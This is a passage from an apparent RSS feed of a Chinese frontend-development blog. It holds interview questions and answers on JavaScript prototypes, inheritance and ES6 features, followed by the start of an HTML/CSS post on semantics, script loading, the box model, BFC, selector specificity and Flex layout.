&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;每个对象都有一个 &lt;code&gt;__proto__&lt;/code&gt; 属性指向其构造函数的 &lt;code&gt;prototype&lt;/code&gt;，形成链式结构。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 原型链图示
// 实例 --&amp;gt; 构造函数.prototype --&amp;gt; Object.prototype --&amp;gt; null

function Person(name) {
  this.name = name;
}
Person.prototype.sayHi = function() {
  console.log(&apos;Hi, &apos; + this.name);
};

const p = new Person(&apos;Tom&apos;);

p.__proto__ === Person.prototype;           // true
Person.prototype.__proto__ === Object.prototype; // true
Object.prototype.__proto__ === null;        // true

// 属性查找顺序
p.name;       // 自身属性
p.sayHi();    // 原型上的方法
p.toString(); // Object.prototype 上的方法
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键概念：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// prototype：构造函数的原型对象
Person.prototype; // { sayHi: f, constructor: Person }

// __proto__：实例的原型引用（非标准但广泛支持）
p.__proto__; // 同 Person.prototype

// constructor：原型对象指向构造函数的引用
Person.prototype.constructor === Person; // true

// Object.getPrototypeOf（标准方法）
Object.getPrototypeOf(p) === Person.prototype; // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: JavaScript 继承的几种方式？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 原型链继承（缺陷：引用类型共享）
function Parent() {
  this.hobbies = [&apos;reading&apos;];
}
function Child() {}
Child.prototype = new Parent();

// 2. 构造函数继承（缺陷：无法继承原型方法）
function Parent(name) {
  this.name = name;
}
function Child(name) {
  Parent.call(this, name);
}

// 3. 组合继承（常用）
function Parent(name) {
  this.name = name;
}
Parent.prototype.sayName = function() {
  console.log(this.name);
};
function Child(name, age) {
  Parent.call(this, name); // 继承实例属性
  this.age = age;
}
Child.prototype = new Parent(); // 继承原型方法
Child.prototype.constructor = Child;

// 4. 寄生组合继承（最佳方案）
function inheritPrototype(Child, Parent) {
  const prototype = Object.create(Parent.prototype);
  prototype.constructor = Child;
  Child.prototype = prototype;
}
function Child(name, age) {
  Parent.call(this, name);
  this.age = age;
}
inheritPrototype(Child, Parent);

// 5. ES6 Class（推荐）
class Parent {
  constructor(name) {
    this.name = name;
  }
  sayName() {
    console.log(this.name);
  }
}
class Child extends Parent {
  constructor(name, age) {
    super(name); // 必须先调用 super
    this.age = age;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q10: instanceof 的原理？如何实现？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// instanceof 检测构造函数的 prototype 是否出现在对象的原型链上
[] instanceof Array;    // true
[] instanceof Object;   // true（原型链上）

// 手动实现
function myInstanceof(obj, Constructor) {
  let proto = Object.getPrototypeOf(obj);
  const prototype = Constructor.prototype;
  
  while (proto !== null) {
    if (proto === prototype) return true;
    proto = Object.getPrototypeOf(proto);
  }
  return false;
}

myInstanceof([], Array);  // true
myInstanceof([], Object); // true
myInstanceof({}, Array);  // false
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;ES6+ 新特性&lt;/h2&gt;
&lt;h3&gt;Q11: ES6 有哪些新特性？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. let/const 块级作用域
let x = 1;
const y = 2;

// 2. 解构赋值
const { name, age } = person;
const [first, ...rest] = array;

// 3. 模板字符串
const str = `Hello, ${name}!`;

// 4. 箭头函数
const fn = (a, b) =&amp;gt; a + b;

// 5. 默认参数
function greet(name = &apos;World&apos;) {}

// 6. 展开运算符
const arr = [...arr1, ...arr2];
const obj = { ...obj1, ...obj2 };

// 7. Promise
Promise.resolve(1).then(v =&amp;gt; console.log(v));

// 8. async/await
async function fetchData() {
  const res = await fetch(url);
  return res.json();
}

// 9. Class
class Person {
  constructor(name) { this.name = name; }
  sayHi() { console.log(`Hi, ${this.name}`); }
}

// 10. Module
import { foo } from &apos;./module&apos;;
export const bar = 1;

// 11. Symbol
const id = Symbol(&apos;id&apos;);

// 12. Map/Set
const map = new Map([[&apos;key&apos;, &apos;value&apos;]]);
const set = new Set([1, 2, 3]);

// 13. Proxy/Reflect
const proxy = new Proxy(target, {
  get(target, prop) { return Reflect.get(target, prop); }
});

// 14. 可选链 (ES2020)
const city = user?.address?.city;

// 15. 空值合并 (ES2020)
const value = input ?? &apos;default&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q12: Map 和 Object 的区别？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;&lt;code&gt;Map&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;Object&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;键类型&lt;/td&gt;
&lt;td&gt;任意值&lt;/td&gt;
&lt;td&gt;字符串/Symbol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;键顺序&lt;/td&gt;
&lt;td&gt;插入顺序&lt;/td&gt;
&lt;td&gt;不保证&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;大小&lt;/td&gt;
&lt;td&gt;&lt;code&gt;size&lt;/code&gt; 属性&lt;/td&gt;
&lt;td&gt;需手动计算&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;迭代&lt;/td&gt;
&lt;td&gt;可迭代&lt;/td&gt;
&lt;td&gt;需 &lt;code&gt;Object.keys()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;频繁增删更优&lt;/td&gt;
&lt;td&gt;少量数据更优&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// Map 操作
const map = new Map();
map.set(&apos;key&apos;, &apos;value&apos;);
map.set(1, &apos;number key&apos;);
map.set({}, &apos;object key&apos;); // 对象作为键

map.get(&apos;key&apos;);      // &apos;value&apos;
map.has(&apos;key&apos;);      // true
map.delete(&apos;key&apos;);   // true
map.size;            // 2

// 遍历
map.forEach((v, k) =&amp;gt; console.log(k, v));
for (const [k, v] of map) { }

// 转换
const arr = [...map];           // Map -&amp;gt; Array
const obj = Object.fromEntries(map); // Map -&amp;gt; Object
const map2 = new Map(Object.entries(obj)); // Object -&amp;gt; Map
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q13: Proxy 和 Object.defineProperty 的区别？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;&lt;code&gt;Object.defineProperty&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;Proxy&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;监听粒度&lt;/td&gt;
&lt;td&gt;单个属性&lt;/td&gt;
&lt;td&gt;整个对象&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数组支持&lt;/td&gt;
&lt;td&gt;需重写方法&lt;/td&gt;
&lt;td&gt;原生支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;新增属性&lt;/td&gt;
&lt;td&gt;无法监听&lt;/td&gt;
&lt;td&gt;可以监听&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;删除属性&lt;/td&gt;
&lt;td&gt;无法监听&lt;/td&gt;
&lt;td&gt;可以监听&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;初始化递归&lt;/td&gt;
&lt;td&gt;惰性代理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// Object.defineProperty（Vue 2）
function defineReactive(obj, key, val) {
  Object.defineProperty(obj, key, {
    get() { return val; },
    set(newVal) { val = newVal; }
  });
}
// 缺陷：无法监听 obj.newKey = value

// Proxy（Vue 3）
const proxy = new Proxy(target, {
  get(target, key, receiver) {
    track(target, key); // 依赖收集
    return Reflect.get(target, key, receiver);
  },
  set(target, key, value, receiver) {
    trigger(target, key); // 触发更新
    return Reflect.set(target, key, value, receiver);
  },
  deleteProperty(target, key) {
    trigger(target, key);
    return Reflect.deleteProperty(target, key);
  }
});
// 优势：可以监听所有操作
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识点&lt;/th&gt;
&lt;th&gt;关键记忆&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;数据类型&lt;/td&gt;
&lt;td&gt;7 种基本 + 1 种引用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;闭包&lt;/td&gt;
&lt;td&gt;函数 + 词法作用域，用于数据私有化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;this&lt;/td&gt;
&lt;td&gt;调用时决定，箭头函数继承外层&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;原型链&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__proto__&lt;/code&gt; 链式查找，终于 &lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;继承&lt;/td&gt;
&lt;td&gt;ES6 &lt;code&gt;class extends&lt;/code&gt; 最简洁&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;var/let/const&lt;/td&gt;
&lt;td&gt;块级作用域 + 暂时性死区&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Map vs Object&lt;/td&gt;
&lt;td&gt;Map 键可为任意类型，性能更好&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Proxy&lt;/td&gt;
&lt;td&gt;可监听整个对象，Vue3 响应式基础&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-03-javascript-async/&quot;&gt;JS 异步与事件循环&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖 Event Loop、宏任务微任务、Promise、async/await 等核心知识点。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>HTML &amp; CSS 高频面试题（中高级）</title><link>http://117.72.32.87/blog/posts/interview-guide-01-html-css/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-01-html-css/</guid><description>覆盖语义化、盒模型、BFC、选择器优先级、Flex/Grid 布局、响应式设计、CSS 动画等 30+ 道高频面试题。</description><pubDate>Tue, 15 Sep 2026 03:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 30+ 道 HTML/CSS 高频面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;HTML 部分&lt;/h2&gt;
&lt;h3&gt;Q1: HTML5 有哪些新特性？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分类&lt;/th&gt;
&lt;th&gt;新特性&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;语义化标签&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;footer&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;aside&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;多媒体&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;audio&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;表单增强&lt;/td&gt;
&lt;td&gt;&lt;code&gt;date&lt;/code&gt; &lt;code&gt;email&lt;/code&gt; &lt;code&gt;url&lt;/code&gt; &lt;code&gt;range&lt;/code&gt; &lt;code&gt;placeholder&lt;/code&gt; &lt;code&gt;required&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;存储&lt;/td&gt;
&lt;td&gt;&lt;code&gt;localStorage&lt;/code&gt; &lt;code&gt;sessionStorage&lt;/code&gt; &lt;code&gt;IndexedDB&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;地理定位&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Geolocation API&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web Worker&lt;/td&gt;
&lt;td&gt;后台线程处理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WebSocket&lt;/td&gt;
&lt;td&gt;全双工通信&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;拖拽 API&lt;/td&gt;
&lt;td&gt;&lt;code&gt;draggable&lt;/code&gt; &lt;code&gt;dragstart&lt;/code&gt; &lt;code&gt;dragover&lt;/code&gt; &lt;code&gt;drop&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Q2: 什么是语义化 HTML？为什么要使用？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;语义化 HTML 是指使用有明确含义的标签来描述内容，而不是滥用 &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; 和 &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;好处：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SEO 友好&lt;/strong&gt;：搜索引擎能更好理解页面结构&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可访问性&lt;/strong&gt;：屏幕阅读器能正确朗读内容&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码可读性&lt;/strong&gt;：团队协作时更容易理解&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设备兼容&lt;/strong&gt;：移动设备、阅读器能更好解析&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- ❌ 不语义化 --&amp;gt;
&amp;lt;div class=&quot;header&quot;&amp;gt;网站标题&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;nav&quot;&amp;gt;导航&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;content&quot;&amp;gt;内容&amp;lt;/div&amp;gt;

&amp;lt;!-- ✅ 语义化 --&amp;gt;
&amp;lt;header&amp;gt;网站标题&amp;lt;/header&amp;gt;
&amp;lt;nav&amp;gt;导航&amp;lt;/nav&amp;gt;
&amp;lt;main&amp;gt;
  &amp;lt;article&amp;gt;
    &amp;lt;h1&amp;gt;文章标题&amp;lt;/h1&amp;gt;
    &amp;lt;section&amp;gt;章节一&amp;lt;/section&amp;gt;
    &amp;lt;section&amp;gt;章节二&amp;lt;/section&amp;gt;
  &amp;lt;/article&amp;gt;
  &amp;lt;aside&amp;gt;侧边栏&amp;lt;/aside&amp;gt;
&amp;lt;/main&amp;gt;
&amp;lt;footer&amp;gt;页脚&amp;lt;/footer&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;script async&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;script defer&amp;gt;&lt;/code&gt; 的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;加载时机&lt;/th&gt;
&lt;th&gt;执行时机&lt;/th&gt;
&lt;th&gt;阻塞&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;立即加载&lt;/td&gt;
&lt;td&gt;立即执行&lt;/td&gt;
&lt;td&gt;阻塞 HTML 解析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;script async&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;异步加载&lt;/td&gt;
&lt;td&gt;加载完立即执行&lt;/td&gt;
&lt;td&gt;执行时阻塞&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;script defer&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;异步加载&lt;/td&gt;
&lt;td&gt;HTML 解析完执行&lt;/td&gt;
&lt;td&gt;不阻塞&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 阻塞式 --&amp;gt;
&amp;lt;script src=&quot;a.js&quot;&amp;gt;&amp;lt;/script&amp;gt;

&amp;lt;!-- 异步：下载不阻塞，执行时阻塞，顺序不保证 --&amp;gt;
&amp;lt;script async src=&quot;b.js&quot;&amp;gt;&amp;lt;/script&amp;gt;

&amp;lt;!-- 延迟：下载不阻塞，DOM 解析完执行，按顺序 --&amp;gt;
&amp;lt;script defer src=&quot;c.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;使用建议：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第三方统计脚本用 &lt;code&gt;async&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;依赖 DOM 的业务脚本用 &lt;code&gt;defer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;内联脚本放在 &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; 前&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q4: 什么是 DOM 和 BOM？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;全称&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DOM&lt;/td&gt;
&lt;td&gt;Document Object Model&lt;/td&gt;
&lt;td&gt;文档对象模型，操作 HTML/XML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BOM&lt;/td&gt;
&lt;td&gt;Browser Object Model&lt;/td&gt;
&lt;td&gt;浏览器对象模型，操作浏览器&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// DOM 操作
document.getElementById(&apos;app&apos;)
document.querySelector(&apos;.class&apos;)
element.innerHTML = &apos;xxx&apos;

// BOM 操作
window.location.href
window.history.back()
navigator.userAgent
screen.width
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;CSS 盒模型&lt;/h2&gt;
&lt;h3&gt;Q5: CSS 盒模型有哪些？区别是什么？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;盒模型&lt;/th&gt;
&lt;th&gt;box-sizing&lt;/th&gt;
&lt;th&gt;宽度计算&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;标准盒模型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;content-box&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;width = content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IE 盒模型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;border-box&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;width = content + padding + border&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;/* 标准盒模型（默认） */
.box1 {
  box-sizing: content-box;
  width: 200px;
  padding: 20px;
  border: 5px solid;
  /* 实际宽度 = 200 + 20*2 + 5*2 = 250px */
}

/* IE 盒模型 */
.box2 {
  box-sizing: border-box;
  width: 200px;
  padding: 20px;
  border: 5px solid;
  /* 实际宽度 = 200px，content = 200 - 40 - 10 = 150px */
}

/* 推荐全局设置 */
*, *::before, *::after {
  box-sizing: border-box;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q6: margin 塌陷和 margin 合并是什么？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;margin 塌陷&lt;/strong&gt;：父子元素垂直 margin 传递问题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 问题：子元素 margin-top 传递给父元素 */
.parent { background: #eee; }
.child { margin-top: 50px; background: #ccc; }

/* 解决方案 */
.parent { overflow: hidden; }        /* 触发 BFC */
.parent { border-top: 1px solid; }   /* 加边框 */
.parent { padding-top: 1px; }        /* 加内边距 */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;margin 合并&lt;/strong&gt;：相邻元素垂直 margin 取最大值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 情况1：兄弟元素 */
.box1 { margin-bottom: 30px; }
.box2 { margin-top: 20px; }
/* 实际间距 = 30px，不是 50px */

/* 情况2：空块级元素自身 */
.empty {
  margin-top: 20px;
  margin-bottom: 30px;
  /* 实际高度 margin = 30px */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;BFC (块级格式化上下文)&lt;/h2&gt;
&lt;h3&gt;Q7: 什么是 BFC？如何触发？有什么作用？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BFC (Block Formatting Context) 是一个独立渲染区域，内部元素布局不影响外部。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;触发条件：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;float&lt;/code&gt; 不为 &lt;code&gt;none&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;position&lt;/code&gt; 为 &lt;code&gt;absolute&lt;/code&gt; 或 &lt;code&gt;fixed&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;display&lt;/code&gt; 为 &lt;code&gt;inline-block&lt;/code&gt; &lt;code&gt;flex&lt;/code&gt; &lt;code&gt;grid&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;overflow&lt;/code&gt; 不为 &lt;code&gt;visible&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;根元素 &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;应用场景：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 1. 清除浮动（高度塌陷） */
.parent { overflow: hidden; } /* 触发 BFC */

/* 2. 避免 margin 合并 */
.box1 { margin-bottom: 20px; }
.divider { overflow: hidden; } /* BFC 隔离 */
.box2 { margin-top: 10px; }

/* 3. 两栏布局（左浮动右自适应） */
.left { float: left; width: 200px; }
.right { overflow: hidden; } /* BFC 不与浮动重叠 */
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;选择器与优先级&lt;/h2&gt;
&lt;h3&gt;Q8: CSS 选择器优先级如何计算？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;优先级&lt;/th&gt;
&lt;th&gt;选择器&lt;/th&gt;
&lt;th&gt;权重&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;!important&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;∞&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;内联样式 &lt;code&gt;style=&quot;&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;ID 选择器 &lt;code&gt;#id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;类/伪类/属性 &lt;code&gt;.class&lt;/code&gt; &lt;code&gt;:hover&lt;/code&gt; &lt;code&gt;[attr]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;标签/伪元素 &lt;code&gt;div&lt;/code&gt; &lt;code&gt;::before&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;通配符 &lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;/* 计算示例 */
#nav .item a:hover        /* 100 + 10 + 1 + 10 = 121 */
.nav .item a.active       /* 10 + 10 + 1 + 10 = 31 */
div#main p.intro span     /* 1 + 100 + 1 + 10 + 1 = 113 */

/* !important 最高但慎用 */
.text { color: red !important; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: CSS 有哪些选择器？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 基础选择器 */
* {}              /* 通配符 */
div {}            /* 标签 */
.class {}         /* 类 */
#id {}            /* ID */

/* 组合选择器 */
div p {}          /* 后代 */
div &amp;gt; p {}        /* 子代 */
div + p {}        /* 相邻兄弟 */
div ~ p {}        /* 通用兄弟 */

/* 属性选择器 */
[type=&quot;text&quot;] {}  /* 精确匹配 */
[href^=&quot;http&quot;] {} /* 开头匹配 */
[src$=&quot;.png&quot;] {}  /* 结尾匹配 */
[class*=&quot;btn&quot;] {} /* 包含匹配 */

/* 伪类 */
a:hover {}
li:first-child {}
li:nth-child(2n) {}
input:focus {}
:not(.active) {}

/* 伪元素 */
p::before {}
p::after {}
p::first-line {}
p::selection {}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;布局相关&lt;/h2&gt;
&lt;h3&gt;Q10: Flex 布局常用属性？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;容器属性：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.container {
  display: flex;
  
  /* 主轴方向 */
  flex-direction: row | row-reverse | column | column-reverse;
  
  /* 换行 */
  flex-wrap: nowrap | wrap | wrap-reverse;
  
  /* 主轴对齐 */
  justify-content: flex-start | center | flex-end | 
                   space-between | space-around | space-evenly;
  
  /* 交叉轴对齐 */
